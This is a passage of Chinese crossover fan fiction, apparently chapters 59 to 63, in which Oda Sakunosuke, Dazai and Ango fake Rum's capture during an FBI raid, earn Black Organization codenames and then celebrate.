哪有人会问死人过得好不好的啊?这是在试探什么吗? 但他看到萩原研二眼中的怀念与欣喜,也不再犹豫,继续将萩原研二的话转达给安室透。 萩原研二:“挺不错的,同事都是温柔善良的优秀女性,工作也是和他喜欢的机械零件打交道,除了部分自由受限,其他都挺好的。” 提取出对方话中的关键词,安室透对这位殉职警官的身份已经有所猜测。 大概是萩原。 他突然想到在萩原研二殉职后,剩下的四个人把他的祭日当作一年一度的集合日,那时他们可都是超级认真的在为萩原研二祈祷。 现在看来,不就变成他们四个每年都聚在一起诅咒萩原去死了吗。 摇了摇头将不合时宜的想法甩出脑海,安室透:“我会帮你转达的,降谷警官也一切都好。” 听到这里,织田作再迟钝也有所发现了。 眼前的安室透,大概就是降谷零,因为任务需要换了个假名潜入组织。 反观安室透,他在接收了大量信息后,自发地开始为织田作之前的行为进行解释。 因为接触的都是最高等级的内部情报,才不能及时与他们互通消息。 涉密等级太高,只能和警视总监单线联络。 与他一起行动的人极有可能都是明面上已经殉职的警官,所以不能走正常的流程进行报备。 看着年纪轻轻却因为任务变得沉默寡言的红发青年。 安室透觉得他什么都懂了。 上前一步重重地拍了拍织田作的肩膀。 “辛苦你了。” 织田作:“……” 虽然不知道发生了什么,但他和安室先生的关系貌似好转了不少。 不愧是魅魔。 ———————— !!———————— 休闲活动结束,让我们有请下一位受害者朗姆准备出场[狗头] 第60章 【内心柔软的人,看什么都是温柔可爱的。 】 “织田老师真是温柔啊。” 告别安室透后,萩原研二感动道。 他看出织田作之助已经察觉到了他的意图,却并没有阻止,而是配合他说出那些话,让他和零能够以另一种方式心意相通。 织田作摇了摇头。 “我才是要多谢你的帮助,让我和安室先生的关系缓和了不少。” 他自认没帮上什么,也没有哪些行为称得上“温柔”二字。 他只是一个双手沾满鲜血和怨恨的罪人。 和萩原、安室、诸伏、松田等等坚守正义的警官是不同的。 看了下时间,织田作丝毫不在意自己凶恶的一面被萩原研二看到,邀请道:“要来看看我的工作吗?” 此时还没意识到不对劲的萩原研二当即应下,甚至还幻想着工作结束后,或许能向织田老师请求看一眼他最新创作的手稿。 然后他就跟着织田作来到一处废弃工厂外。 织田作通过手机定位找到了坂口安吾。 此时的后者只是衣角微脏,正靠在墙上闭目假寐。 察觉到有人靠近,坂口安吾警觉地睁开眼睛,见是织田作,他放下手枪,从随身携带的公文包中取出一张照片。 “这是朗姆,待会请织田作先生多留意一下。” 织田作先生?好奇怪的叫法。 萩原研二偷偷吐槽,凭借着活人无法看到魂体化的自己,他没有待在一旁听织田作和友人们的行动计划,而是找了一处制高点,帮他们放风。 接过照片,织田作认真记下朗姆的样貌特征,随后将照片还给坂口安吾。 “大概还有多久?” “等太宰带着人过来就差不多到时间了。” “哦呀,安吾竟然从情报组的枪林弹雨中逃出来了。” 正说着,太宰治就到了,他披着一件深灰色的大衣,从巷子的另一头缓缓走来。 面对太宰治的挑衅,坂口安吾抬眼看向前者,语气冷淡:“多谢关心。” “织田作,我要申请工伤,FBI那群人简直比芥川难带一百倍!” 无视坂口安吾带刺的话语,太宰治挤到织田作旁边,哭丧着脸委委屈屈地述说这一天来的遭遇。 无非是狂妄自大的FBI不听指挥,导致消息走漏,打草惊蛇不说,好多部署都要推翻重来。 太宰治捂着脑袋,一副脆弱不堪的样子。 “这可不是简单一顿蟹肉大餐就能解决的问题。” 织田作很上道地询问:“那再加几瓶名酒怎么样?” 坂口安吾不甘心地加入对话:“先强调一点,我可不是太宰那样物质的人,但是我在这次的行动里报废了一套手工西装。” 他其实并不差这点钱,但要他眼睁睁看着太宰治向织田作之助索要好处,而自己什么都不做,那是绝对不可能的。 “那就等到行动结束后,一起去采购?”织田作提议。 “好耶~” “如果是织田作先生的邀请,我当然没意见。” 闲聊结束,三人就接下来的行动开始部署。 “趁着安吾和朗姆见面的时候,我会指挥FBI进行突击,到时候织田作趁乱将朗姆劫走,这项任务只有你能完成。”太宰治说。 在FBI和黑衣组织的层层封锁中劫走其中的关键人物朗姆,这可不是普通人能做到的。 只有曾经的第一杀手兼第一杀手组织——织田作之助能做到。 在他年少时,仅凭一己之力在横滨地下世界干出了一个高级杀手组织才能完成的业务量。阴差阳错地让不知情的人以为横空出现了一个庞大的杀手组织,却不料这都是织田作一个人完成的任务。 织田作平静应下:“好。” 太宰治转向坂口安吾:“至于安吾,你要让组织的人认为这次FBI的突袭是朗姆失误引来的,该怎么获取他们的信任不用我多说了吧。” 坂口安吾冷冷地看了太宰治一眼,只是点了点头。 显然他已经习惯了太宰治无时不刻的挑衅。 没有听到预料中的吐槽,太宰治瘪了瘪嘴,但也没说什么。 “那么最后就是我闪亮登场啦!”他突然话锋一转,整个人变得活力十足,一双鸢眼亮晶晶的,“从天而降的组织新星,救群龙无首的情报组于水火之中,狠狠挫败FBI的邪恶计划。” 他凑到织田作面前:“想必这样的成绩一定能让组织为我颁发代号作为奖励吧。” 织田作想了想,回答:“嗯。” 就算组织不给太宰代号,他也会以爱尔兰的名义帮忙申请的。 “等等。”坂口安吾打断两人的对话,“我记得之前的计划是等到朗姆宣布我晋升代号成员后才发动突袭,太宰你没忘吧。” 他总觉得太宰会提前行动破坏他的晋升。 这样一来,太宰就能在他之前获得代号了。 “安吾你竟然这样诋毁我,太可恶了!”太宰治像是受了天大的委屈,抓着织田作的手臂让后者批判这位多疑狡诈的特务头子。 “那你敢用这几年来积攒的功德发誓吗?” “太恶毒了!安吾你竟然想毁掉我辛辛苦苦攒的功德!” 夹在两人中间的织田作:“…我觉得安吾应该不是这个意思。” 不善言辞的织田作夹在坂口安吾和太宰治之间,他像个无助的家长,唯一能做的就是将争执中的两人分开。 站在公平公正的角度上,他应该制止无时不刻都在挑衅安吾的太宰,但这样一来缺乏安全感的太宰会难过。 如果帮着太宰批判安吾,这不仅有失公允,安吾也会伤心。 如果是四年前,他大概会帮着太宰说话,毕竟那时的太宰还只是个孩子。孩子在成年人的世界总能被偏心关爱。 可现在大家都是成年人了。 最后,织田作找了个“时间快到了”的蹩脚理由,强行将两人分开。 “我先去安吾那边埋伏。”这样说着,织田作安抚地拍了拍闷闷不乐的太宰治的肩膀,示意后者先放下私人恩怨。 太宰治盯着站在织田作身后表情冷淡的坂口安吾。 哪怕安吾什么挑衅的动作都没做,但他还是从中看出了对方举手投足间表露的“是我赢了”这一隐喻。 对坂口安吾来说,只要织田作不偏袒太宰治,结果一定是他的胜利。 “哼。”太宰治低低地冷哼一声,随即朝织田作叮嘱:“织田作不要忘记我们的约定哦。” 约定,指美味的蟹肉大餐和名酒聚会。 得到织田作的肯定回答后,他头也不回地朝FBI埋伏的地点走去。 一步步走远,他的表情也阴沉下来。 最后,出现在FBI面前的,又变回了那位暗夜独裁者的恐怖形象。 “我最后再强调一遍,这次任务只许成功、不许失败。” 黑发青年的声音低沉,那双冰冷的鸢眼扫过所有人,让所有人纷纷加紧手上的准备动作。 如果坂口安吾在的话,一定会吐槽他可能患有严重的人格分类症。 织田作也会欲言又止地看着他,然后等到任务结束再邀请他一起喝酒,询问他是不是心情不好。 不过这两个人都不在。 太宰治端坐在属于行动总指挥的专座上,单手撑着下巴闭上眼睛陷入思考。 赤井秀一正在调试狙/击/枪,隔着人群他看向太宰治。 起初他以为太宰治只是把他们当作随手即可丢弃的棋子,但在前不久的行动中,太宰治以一己之力拯救了险遭组织毒手的同事们。 并且按照对方的计划,今晚的行动看似凶险,但只要严格遵守太宰治定下的行动方案,他们这边出现伤亡的几率几乎约等于零。 他有些看不透这个年纪仅二十出头的青年。 实际上,此刻太宰治的心理活动却是。 得想个办法增加我在织田作心中的分量,该怎么做才能把安吾挤下去呢? —— 坂口安吾孤身步入朗姆所在的仓库。 他神色如常,步履轻快。 因为他知道织田作就在一旁,他也百分百地信任着织田作不会让自己受伤。 在仓库中间站定,他看向被黑暗吞噬的四周,朗声道:“我记得24小时的时间已经到了吧。” 随着他的话音落下,黑暗中传来鼓掌的声音。 没多久,一位杵着拐杖的老者从黑暗中走出,他的左眼用纱布包裹着,仅剩的右眼在昏暗的灯光下闪烁着奇异的暗红色光芒。 “看样子是我小看了你。” “朗姆”在坂口安吾面前约两米处站定。 盯着“朗姆”,坂口安吾突然嗤笑一声,嘲讽道:“怎么?担心一见面就会被我识破身份,所以只敢用替身来见我吗?” 眼前的“朗姆”可不像是堂堂黑衣组织的二把手。 样貌可以伪装,但气场是造不了假的。 听到替身的身份被识破,朗姆的声音不再是从替身的口中发出,而是从四面八方传来。 “像你这样的情报高手,不应该只是个默默无闻的小人物。”经机械化处理的声音听起来有股浓厚的非人感。 坂口安吾推了推眼镜,没有回答朗姆对他身份的质疑,只是说:“难道你想反悔吗?” “哈哈,我从不食言,拉莫尼,这就是你的代号。” 拉莫尼,马提尼克岛朗姆酒的代表之作,是优雅型朗姆酒的典范。 酒体呈深邃的金色,以香草和干花为主导香气,入口带有蔗糖、香料和橙子的香味。 这个代号足以向组织上下证明坂口安吾将会成为彻底的朗姆派。 听到朗姆毫不吝啬地宣布了自己的代号,坂口安吾稍微松了一口气。 至少在太宰之前拿到了代号。 但只有这样还不够,他抬起头朝四周望去。 “我的晋升仪式只有这样吗?” “当然不是。” 黑暗中传来的不再是机械音,一阵缓慢而沉稳的脚步声响起,一位穿着夹克毛领外套的中年人出现在坂口安吾眼前。 见此,先前的假“朗姆”立即恭敬地朝后者行礼后退到一边,当着坂口安吾的面取下了右边眼眶里伪造成眼球的小型监视器。 原来他左边被纱布包裹的眼睛才是正常的。 也不知道之前是怎么做到失去视觉也能稳稳地走到坂口安吾面前的。 朗姆的左侧眼眶内装着一颗全白的义眼代替,右眼可以正常视物。 他径直来到坂口安吾面前,伸出手:“欢迎加入我们。” 刚才的替身是见他的最后一道关卡,如果连替身都分辨不出来的话,就算坂口炳吾走到了这里,他也不会认可对方。 这里他没有用“组织”而是用了“我们”,仿佛坂口安吾加入的并不是黑衣组织,而是他朗姆的个人团体。 由此可见,坂口安吾之前查到的关于朗姆私藏祸心,企图干掉黑衣组织Boss上位的谣言并不是空xue来风。 这挺正常的。 但凡是个有野心的人,在见到Boss垂垂老矣,甚至虚弱到不敢面见部下,一心寻求长生之法后,都会动点歪脑筋。 港口Mafia不就是这样才改朝换代的吗。 握住朗姆的手,一个小型通讯器落到坂口安吾手上,这是朗姆交付信任的做法。 他一边戴上通讯器,一边语气平静道:“多余的废话就不必了,我只希望你能履行承诺。” 比如培养他成为情报组的二把手。 当朗姆这个情报组负责人确认死亡后,二把手不就理所当然地成为老大了吗。 看着不近人情的坂口安吾,朗姆没有被冒犯的不快,满眼只有对人才的欣赏。 他就需要这种唯利是图的利己主义者。 部下会被渗透、情谊会随着时间淡化、就算是血缘也会反目,只有利益才是永恒的。 可他高兴不了太久了。 耳中的通讯器传来部下的提醒。 “Boss,我们外围的暗哨被人干掉了。” 朗姆甚至让部下称他为Boss。 顿时,他看向最可疑的坂口安吾。 通讯器中的示警坂口安吾自然也听到了,毕竟他也戴着通讯器。 无视朗姆眼中的杀意,他面无表情地指向等候在一旁的假“朗姆”。 “我之前就想说了,这种监视器很容易被人远程黑入的。” “什么?!” 被指控的老者顿时惊慌失措地将监视器从口袋中取出检查。 可他这样做正好把目标暴露在了赤井秀一的枪口之下。 “砰” 眼珠型监视器被一枪毙命。 这下就算是狡诈多疑的朗姆也不由得思考是不是监视器真的被人黑入,现在对方为了不被他们反追踪而破坏了证据。 比起陷入头脑风暴的两人,坂口安吾就冷静得多,他一把拉着朗姆往侧边的狙击死角里躲去,同时还在对话频道里“指控”朗姆:“多亏了朗姆大人的监视器,我们位置暴露了。” 朗姆一时语塞。 当他意识到事态发展已经超出自己掌握时,,自己已经下意识地跟着对方走到了一处死角里。 “等等,你……” 话未说完,他就被身后突如其来的手刀打晕了。 织田作从黑暗中缓缓现身,等到坂口安吾将朗姆全身上下的各种窃听器、定位器、通讯器搜刮干净后,将昏死过去的朗姆抗在肩上。 一个人没问题吗? 织田作比手势问道。 安心。 坂口安吾给了他一个不必担心的眼神,太宰就在外面。 虽然时常会和太宰治起争执,但在这种时候,太宰无疑是最值得信赖的同伴。 随后,坂口安吾对着通讯器喊道。 “请求援助,朗姆被FBI抓走了!” ———————— !!———————— 朗姆:[小丑]《 》 60-70 第61章 外面有豺狼一般的FBI发起进攻。 内部也被可恶的联邦搜查官渗透,在他们眼皮子底下被人劫走了己方指挥官朗姆。 群龙无首的情报组因腹背受敌,瞬间陷入了混乱之中。 正当他们准备各自散开,先逃出FBI包围圈再研究拯救朗姆计划时,内部频道内突然传出一道陌生的声音。 不,其实并不陌生。 这个人是刚刚在朗姆大人的见证下,获得了代号的拉莫尼。 “所有人,收缩防守圈,到这个位置集合。” 坂口安吾冷静地报出一串数字,那是情报组惯用的定位暗号。 他刚说完,就有人发出质疑。 “谁知道你会不会趁此机会将我们引到FBI的陷阱中。” 坂口安吾没有第一时间自证,他语气平静,朝着和太宰约定的会合点走去,缓缓道:“宁愿相信招进来一个卧底也不肯承认通讯频道被FBI黑入,你们太傲慢了。” 他理直气壮的嘲讽让频道内反驳的声音小了点,但声音仍然存在。 “别以为你这么说就能洗清嫌疑。” “哼。”坂口安吾嗤笑一声,“抱歉,我想诸位弄错了一件事情,我并没有拯救你们的义务,我不过是看在同事的份上提醒各位一句。” “ FBI可不会像我这么好心,要不要打个赌,诸位和FBI见面后,他们会请你们吃枪/子还是网开一面同各位犯罪分子和和气气地坐下来谈判?” 说完,坂口安吾单方面结束了对话,将夹在耳边的通讯器取下放进口袋。 在他身后,先前伪装成朗姆的老者畏畏缩缩地跟着。 因为他之前用来监控拉莫尼的监视器极有可能是泄密的源头,现在朗姆失踪,为了活命,他最好立即向拉莫尼投诚。 其他人可能不清楚,但他这一天的时间都跟在朗姆身边,也看到了拉莫尼是如何逃过情报组数次围杀的。 如果、他是说如果。 如果朗姆大人在这次的意外中……的话,以拉莫尼的能力,或许会成为下一任情报组的负责人。 今天跟着朗姆过来的情报组成员都是朗姆一派的心腹。 如果朗姆站出来发号施令的话,这些人绝对不会轻信坂口安吾口中任何一个字。 但朗姆失踪了,也有可能是死了。 一群人陷入了混乱,然后迅速分成了好几派。 有朗姆的死忠党,誓要从FBI手中救回老大。 有零散的卧底派,这些人为了守住卧底的身份,纷纷趁乱躲了起来。因为无论是被FBI误杀,还是被当成叛徒处决,都不值当。 有清醒的倒戈派,权衡利弊后果断朝拉莫尼给出的位置跑去。 此刻在部下们眼中生死不明的朗姆正被织田作头朝下地抗在肩上。 仓库附近多了很多人,有情报组的人,也有FBI ,两方人马刚一撞上,便立马进入交火状态。 以常人无法实现的柔韧性和速度,扛着朗姆穿过一片交战地带,织田作什至有空出枪将一枚射向FBI的子弹截断。 而众人只看到一片朦胧的黑影从眼前闪过,这在枪林弹雨中只会被当成眼花。 根据他们的计划,朗姆在这之后只能是“死人”。 所以织田作打算将人再次移交给专业处理组织成员的公安。 托魅魔的福,这次安室先生应该不会挑他的刺了吧。 说到萩原研二,他没有和织田作一起行动,此刻正飘在太宰治身后。 看着太宰治脚步轻快地避开双方的交战区,嘴里还哼着奇奇怪怪的调子,仿佛这人只是偶然路过的游人。 但太宰治揣在口袋里的对讲机一直汇报着当前的进度。 “左翼逮捕3人。” “仓库外围击毙3人,逮捕1人。” “铁丝网一侧发现人员潜逃的痕迹,怀疑有人逃离。” 截止到目前,情报组反扑的力度都在太宰治的预料之中,因此FBI在逮捕组织成员之时,也心惊于太宰治那非人的谋略。 “噜噜噜~喔喔~耶~” 太宰治见到了坂口安吾。 看着后者脸上那心满意足的笑,太宰治突然高兴不起来了。 “托织田作先生和太宰的福,现在请叫我拉莫尼。”坂口安吾挺胸抬头。 “……” 太宰治沉默了。 他可不想在这种时候说“恭喜你”之类的恶心的话。 可恶啊,他的动作还是慢了一步! 这时,其他愿意相信坂口安吾的情报组成员相继赶了过来。 太宰治就算想说些什么挖苦嘲讽的话,也不方便说了。 见到太宰治也在,有些人脸上露出若有所思的表情。 他们都知道拉莫尼是被行动组的爱尔兰带进组织的,和他一起进来的,还有一个黑发青年,就是当前站在他们面前的太宰治。 主动找上朗姆的拉莫尼,获取代号后立即出现的FBI,不该出现在此处的行动组成员。 种种线索汇集到一起,他们意识到朗姆这次是中计了。 “啪啪” 见众人脸上神色各异,太宰治走到人群中,拍了拍手让所有人都看向他。 “我想诸位已经或多或少猜到了些什么。” “没错,朗姆心怀异心,企图勾结FBI夺权,但他的计谋早已被爱尔兰识破。”太宰治朗声道。 在场的众人顿时目瞪口呆。 不是,还能这样编啊? 坂口安吾偷偷看了一眼沉浸在编造剧本之中的太宰治,他想提醒对方这样会不会太夸张了,但此刻不便出声打断,只好将满腹的吐槽憋在心里。 “诸位选择到此处集合,说明大家都是头脑清醒的明白人。”太宰治看向众人,嗓音从轻快变得低沉,“我这样说,大家知道该怎么做吧。” “……” “诸位也不想被当成叛徒被我们就地处决吧。” 见众人沉默,太宰治彻底不装了,从身后取出枪,拿在手中转了两圈,命令道:“回答我。” “我…我们知道了。”众人异口同声回答道。 虽然不知道这两个人是怎么把FBI引过来的,但从那个黑发青年的身上,他们感受到了极致的压迫感。 那种被毒蛇绕颈的窒息感,就算是面对朗姆,他们也从未感受过。 不愧是在横滨Mafia混过的人,太可怕了。 这些人选择到此处集合,足以说明他们本质上和墙头草差不多。 见朗姆即将失势,就选择看起来更可靠的拉莫尼。现在发现拉莫尼背后还站着爱尔兰,那更不会存在忤逆对方的念头了。 他们甚至有种感觉,在不久的将来,爱尔兰一派或许会超越朗姆,成为仅次于Boss的实权派。 “很好,现在从这位开始,依次以1至6号为代号。”太宰治收起威胁,安排道:“ 1号和2号立刻占领制高点, 3号带着烟雾弹去交战区后方打开, 4号、 5号、 6号以仓库为圆心,在半径十米的范围内装好炸/弹,最后听我指令起爆。” 随着他说完,坂口安吾从一处不起眼的箱子里取出一堆武器弹药,示意几人上来拿。 1至6号愣了片刻。 太宰治再次切换到恐怖统治者人格。 “如果连这么简单的指令都听不明白的话……” 众人呼啦一下冲上前领各自的武器。 他们现在才意识到之前对爱尔兰三人组的判断错得离谱。 这三个人里面最危险的竟然是此前一直默默无闻的黑发青年。 “我们……” 3号不敢直视太宰治的眼睛,小心翼翼地想要询问为什么要这样做,但还没说完,就有一种被深渊凝视的错觉。 “难道我说得不够清楚?”太宰治轻声问道。 黑发青年的声音轻柔,却让3号感觉有双无形的大手勒住了自己的脖颈。 3号立即疯狂点头,表示自己没有疑问,其他人见状也赶紧带着装备跑远。 看样子拉莫尼他们的计划是把追随朗姆的情报组成员和FBI一网打尽。 一举两得,既歼灭了竞争对手,也打击了红方势力。 难怪爱尔兰一派晋升的速度这么快,想必今晚过后,那位黑发青年也能用重创FBI的战功获得代号吧。 看着碍事的墙头草们离开,太宰治一屁股坐到之前装武器的箱子上。 “呼——接下来就看织田作的了。” “嗯。” 迎着太宰治看怪物的眼神,坂口安吾变魔术一样拿出他的笔记本电脑,“还有一些扫尾工作。” 比如伪造朗姆联络FBI的“罪证”,让心腹称他为Boss的记录,以及他们策划这起谍中谍计划的缘由。 噼里啪啦敲打键盘的声音传来,太宰治默默戴上耳机,以隔绝噪音。 萩原研二在听到两人提起织田作时便飘走了,他想去看看织田老师工作时是什么样子的。 根据此前的观察,他多少能猜到织田作之助的身手很好。 但在真正看到对方出手时,萩原研二意识到他还是低估了织田老师。 红发青年灵活地穿梭在枪林弹雨之中,手中双枪弹无虚发。 他双眼淡漠,仿佛天生的战斗机器,只一眼便能找出敌人的位置。 见到织田作工作的样子,萩原研二的世界观得到刷新,他发现子弹是可以拐弯的、布条是可以用来当暗器的、战场上听声辩位是真实存在的。 甚至织田作击中的组织成员中,没有一人丧命,仅仅是失去了行动能力。 突然间,蓝色的烟雾在后方飘散开来。 FBI众人见到后纷纷往仓库的方向撤离,放风的1号2号见到后立即向太宰治报道。 “FBI已进入爆炸中心。” “很好。”太宰治这样回复道。 “朗姆的心腹貌似都受伤过重无法移动。” “不用管他们。” 特制的烟雾没一会便弥漫在整个交战区,1号2号彻底失去了视野,但太宰治表示他们只需要守好外围,确保没人逃出来就够了。 烟雾中,织田作独自将所有失去行动能力的情报组成员一一扛起,送到仓库外敲了敲铁门示意FBI将人搬走。 仓库内其实有一条暗道,原本是朗姆为自己准备的逃生通道,这时正方便了FBI。 他们可以从暗道神不知鬼不觉地带着织田作帮忙抓到的组织成员撤离,这也是太宰治给他们准备的后路。 织田作没打算让FBI见到自己的样貌,于是赶在有人出来前便离开了。 他的工作还没完成,接下来要在FBI撤离完后,把太宰治从横滨协调来的假尸体放到对应的位置。 萩原研二目睹了织田作从制裁组织成员到面无表情地四处抛尸的全过程。 在他的心中,温文尔雅的织田老师形象轰然倒塌,取而代之的是铁血硬派的织田杀手。 真不愧是织田老师。 ———————— !!———————— 从爱尔兰到库拉索到朗姆,让我们恭喜织田作达成三连杀[狗头] 第62章 【魅魔的故事临时尾声,在他温柔的外表下,我看到了一颗坚韧勇敢的心。 】 情报组与FBI暗中联络,因为利益问题发生激烈交火,最后被行动组的爱尔兰一行人一网打尽。 这是太宰治授意1至6号在组织里大肆宣扬的最终版本。 坂口安吾,也就是组织新晋代号成员拉莫尼,将真假情报混合到一起,形成一份正式的书面报告,交给贝尔摩德送到Boss面前。 报告中详细解释了他假装投靠朗姆的原因,是爱尔兰发现了朗姆私下授意库拉索挑起内斗,见库拉索失败,又想对他们两个刚加入组织的新人动手。 在当间谍的期间,他发现朗姆不但与FBI有联系,甚至让心腹称自己为“Boss”,可以看出朗姆已有异心。 总结起来就是,爱尔兰三人不但没错,还为组织铲除了一大害虫。 严格说起来,Boss还得感谢我们仨呢。 在行动组的据点内,三人坐在指定的会议室内,等待Boss的回复。 他们完全没有命悬一线的紧张感,太宰治甚至让人送了瓶香槟进来。 将放着香槟的冰酒桶放在桌上,他一脸的闲适自得,一个人占了一整个沙发,双腿搭在沙发扶手上,双手交叉垫在脑后。 “啊呀,安吾的代号可是组织的叛徒授予的,说不定那位看过之后直接宣布不作数。”他悠悠地说着风凉话。 被没收了通讯设备的坂口安吾端坐在椅子上,完全不被太宰治所影响。 “哦,是吗?”他一副无所谓的样子,实事求是地说:“就算是论功行赏,也要根据我写的报告进行评估,太宰觉得你在我的报告里会是什么样的表现呢?” 看样子太宰是在武装侦探社过惯了安逸祥和的日子,连这点职场险恶都忘记了。 领导可不会盯着手下的人监督工作干得怎么样,他们只会通过最终呈现的报告来了解情况。 所以,如果想要在领导面前留下好印象的话,要么自己主动写报告,要么积极讨好写报告的人。 很遗憾,太宰两头都不占。 “安吾好阴险!”太宰治猛地睁开眼睛,他果断转向另一边,朝一直安静喝茶的织田作大喊:“织田作,你看安吾!” 又吵起来了啊。 原本岁月静好的织田作默默放下茶杯,他说:“我觉得安吾应该不会这样做。” 出于对友人的信任,织田作在坂口安吾主动给他看报告时表示不用。 因为魅魔的故事临时尾声,如果有时间的话,他更想用来构思如何结尾。 看样子安吾并没有邀请太宰一起看报告。 “哼,一定是阴险狡诈的特务头子安吾迷惑了织田作!” “喂喂,那一长串的前缀是怎么回事啊!” “难道安吾要否认自己最真实的一面吗。” “别把我描述得像个反派一样啊!” “砰!” 两人隔着织田作正激烈地争执着,这时会议室的门突然被人踢开,突如其来的变故让他们暂停内斗一致向外。 只有织田作,趁着两人不注意摸了摸耳朵。 刚才他好像体验到了两只大鹅在自己耳边吵架是什么样的感受。 来人是琴酒和贝尔摩德。 前者一进会议室就用阴恻恻的眼神锁定了织田作。 “朗姆呢?”他没看过报告内容,也不相信组织内部传开的谣言,只好在见到当事人后才发起提问。 织田作语气平静:“被我干掉了。” 和琴酒问他前任爱尔兰以及库拉索的下场时的回复一模一样。 “Bravo!”虽然猜到了一点真相,但贝尔摩德还是情不自禁地发出声音。 她其实看不惯朗姆那副神秘做派好久了。 而且朗姆知道的太多了,其中也有关于她的秘密,如今有人除掉朗姆,她自然乐见其成。 琴酒冷冷地看了一眼贝尔摩德,他没有和前两次一样相信爱尔兰,而是又说了一句:“证据。” 因为朗姆是个神秘主义者,就算是琴酒也没有见过对方的样貌,这时要织田作拿出证据,无疑是强人所难。 来的路上,贝尔摩德和他絮絮叨叨地分享了好多关于爱尔兰三人的推测,琴酒面上表现得不在意,但他多少还是听进去了一些。 比如说爱尔兰的野心。从代号成员杀到二把手的心腹,现在甚至对二把手朗姆出手。 尽管爱尔兰加入组织才不到两个月,如今他在组织里的威望已经隐隐要压过琴酒这个带他入职的“前辈”了。 组织的商业线已经被琴酒亲自交给了爱尔兰,如今情报组也极有可能被爱尔兰拿下。 就算是琴酒,也难免产生了危机感。 “证据?” 察觉到敌意,太宰治和坂口安吾同时起身。 论武力,他们两个加起来都不够织田作之助一只手,但要是言语上的交锋,他们可绝对不会让其他人当着自己的面欺负织田作之助。 “在那位给出最终决定前,我想我们应该不需要向你汇报什么吧。”坂口安吾直面杀气腾腾的琴酒。 在他的身后站着的,可是横滨里世界至今无人超越的第一杀手,区区琴酒,根本不足为惧。 太宰治更是嚣张,他斜靠在会议桌上,语气里满是挑衅的意味:“看到别人轻松做到了自己多年来未能实现的梦想,的确很难以置信吧。” 面对挑衅,琴酒从来都不会默默忍受。 他直接掏出了枪。 在他对面,织田作几乎是同一时间出枪。 “砰、砰” 枪声重合,对应的,房间内多出了四个弹孔。 当子弹以小于30度的倾斜角撞击光滑坚硬目标时,易发生跳弹现象。 这也是织田作少年时期惯用的战术,毕竟很多目标为了谋求一线生机而躲在射击的盲区,这样能扩大杀伤范围,极大提高工作效率。 他其实可以利用子弹互相撞击产生的反作用力改变子弹的方向,击中琴酒或贝尔摩德。 不过这样做弊大于利,在Boss给出答复前,还不能对琴酒动手。 但织田作这一手已经足够让琴酒停手了。 反应力、判断力、射击精度、堪称恐怖的动态视力,如果在这里和爱尔兰动起手来,琴酒自认为他不一定能占据上风,甚至有可能被干掉。 “哼,我就知道你是个野心家。”琴酒收起武器说道。 从加入组织到现在,爱尔兰这家伙的目标明确,早在对方干掉前任爱尔兰时他就该警觉的。 想到将爱尔兰这头嗜人的孤狼提拔到如今位置的人是自己,琴酒戒备之余,竟有种诡异的自豪。 “野心家”织田作神色平静,他在琴酒之后收起枪,只是淡淡地说了句:“组织内严禁内斗。” 如果还有下次的话,他就不只是瞄准子弹射击了。 他并不介意琴酒用“野心家”这种和他本人完全不符的形容称呼自己,因为犯罪分子的心理状态总是奇奇怪怪的,认真计较起来反而是给自己徒增困扰。 推着还想说些什么的坂口安吾和太宰治,让两人坐到自己身后的沙发上,以免他们再因为一些无伤大雅的玩笑被琴酒攻击,织田作拉了两张凳子示意琴酒和贝尔摩德也坐。 是的,在织田作看来,刚才坂口安吾和太宰治的挑衅只是无伤大雅的玩笑。 他的好友滤镜一直都这么重。 “我想你们来也是想知道Boss的最终决定。”织田作说着,“不如……” 不如大家心平气和地坐下来一起等。 话还没说完,会议室内的灯光暗了下来,众人正前方的屏幕打开了。 一道黑色的人影出现在屏幕上。 “爱尔兰,琴酒,贝尔摩德。” 屏幕上的人似乎能看到会议室这边的场景,因此对方精准地念出了几位代号成员的酒名。 没有听到坂口安吾的新代号“拉莫尼”,太宰治捂着嘴窃笑。 对此,坂口安吾选择侧过身不看对方。 “叛徒朗姆的事我已经了解。” 看样子Boss对朗姆和情报组的遭遇已经有了定论,将朗姆定性为叛徒,说明织田作三人的所作所为不但无过,甚至有可能被记功。 “这次的事件多亏了爱尔兰,咳咳。” 嘶哑的声音伴随着咳嗽,听起来这位Boss的身体状况堪忧。 接着,他又说了些无关的废话,比如说夸赞琴酒招人的眼光终于好了一次、辱骂备受他信赖的朗姆狼子野心、询问贝尔摩德研究所那边的进度到哪里了,等等。 直到太宰治打起了哈欠,Boss才说到了重点。 “爱尔兰你带来的那两个人在这次事件中立了不小的功劳……” 太宰治忽略掉中途那段叽里咕噜的赞美和要求,等到最后一句话时才竖起耳朵聆听。 “拉莫尼继续留在情报组……,至于另一位,就用百利甜作为代号跟着爱尔兰发展组织的商业线吧。” 百利甜酒,由新鲜奶油、爱尔兰威士忌、天然香草等调配而成,兼具奶油的香甜与威士忌的醇香,尤其受女性的喜爱。 没想到最后是和坂口安吾同时获得代号,太宰治撇了撇嘴。 显然他对和安吾打成平局的结果不太满意。 宣布完, Boss的身体状况似乎不能支撑他长时间的工作,于是没来得及听两位新晋代号成员的表态发言就下线了。 短暂的视频会议结束,琴酒率先起身,他看了一眼面无表情的织田作,什么都没说就带着想发表点个人感想的贝尔摩德离开了。 爱尔兰一派的崛起已是既定的事实。 如果在两个月前,有人告诉他,不久的将来,他会被自己亲自带进组织的人压过一头,琴酒或许只会冷笑着一枪打烂说话人的嘴。 但现在不可否认的是,这样的情况真实发生了,并且现在三人都拥有了代号,就算是他也暂时不能出手了。 琴酒离开后,会议室内太宰治立马拿起香槟。 “碍事的人终于走啦,现在是庆祝时间!” “恭喜织田作在组织的地位更进一步!恭喜我获得代号!” 说着,他不情愿地小声嘀咕道:“可恶,还有狡猾的安吾……” “给我好好说话!别想把我的努力和成果一笔抹杀啊!” ———————— !!———————— 永远喜欢无赖派的限定版活力宰宰、吐槽役特务头子安吾和天然系鸽子精织田作[撒花] 第63章 太宰治吃上了美味大螃蟹。 坂口安吾获赠了高定手工西装。 织田作之助享受着难得的平静祥和。 大家都得到了想要的结果。 太宰和安吾的获取代号比赛最终以平局划上句号。 当然坂口安吾本人坚持他在太宰之前获得代号,只是太宰治不承认他这一谬论。 肚子饱饱的,身体暖暖的,灵魂轻飘飘的。 太宰治趴在桌上,捧着酒杯感慨:“结束一天疲惫的工作,喝上一杯的感觉真不错。” 黑衣组织中,代号成员的待遇可以说是比港口Mafia强不止好几倍。 一想到在正式获取代号后,立即有后勤组的成员为他和安吾奉上工资卡,以及卡里面的金额,他就忍不住露出幸福满足的微笑。 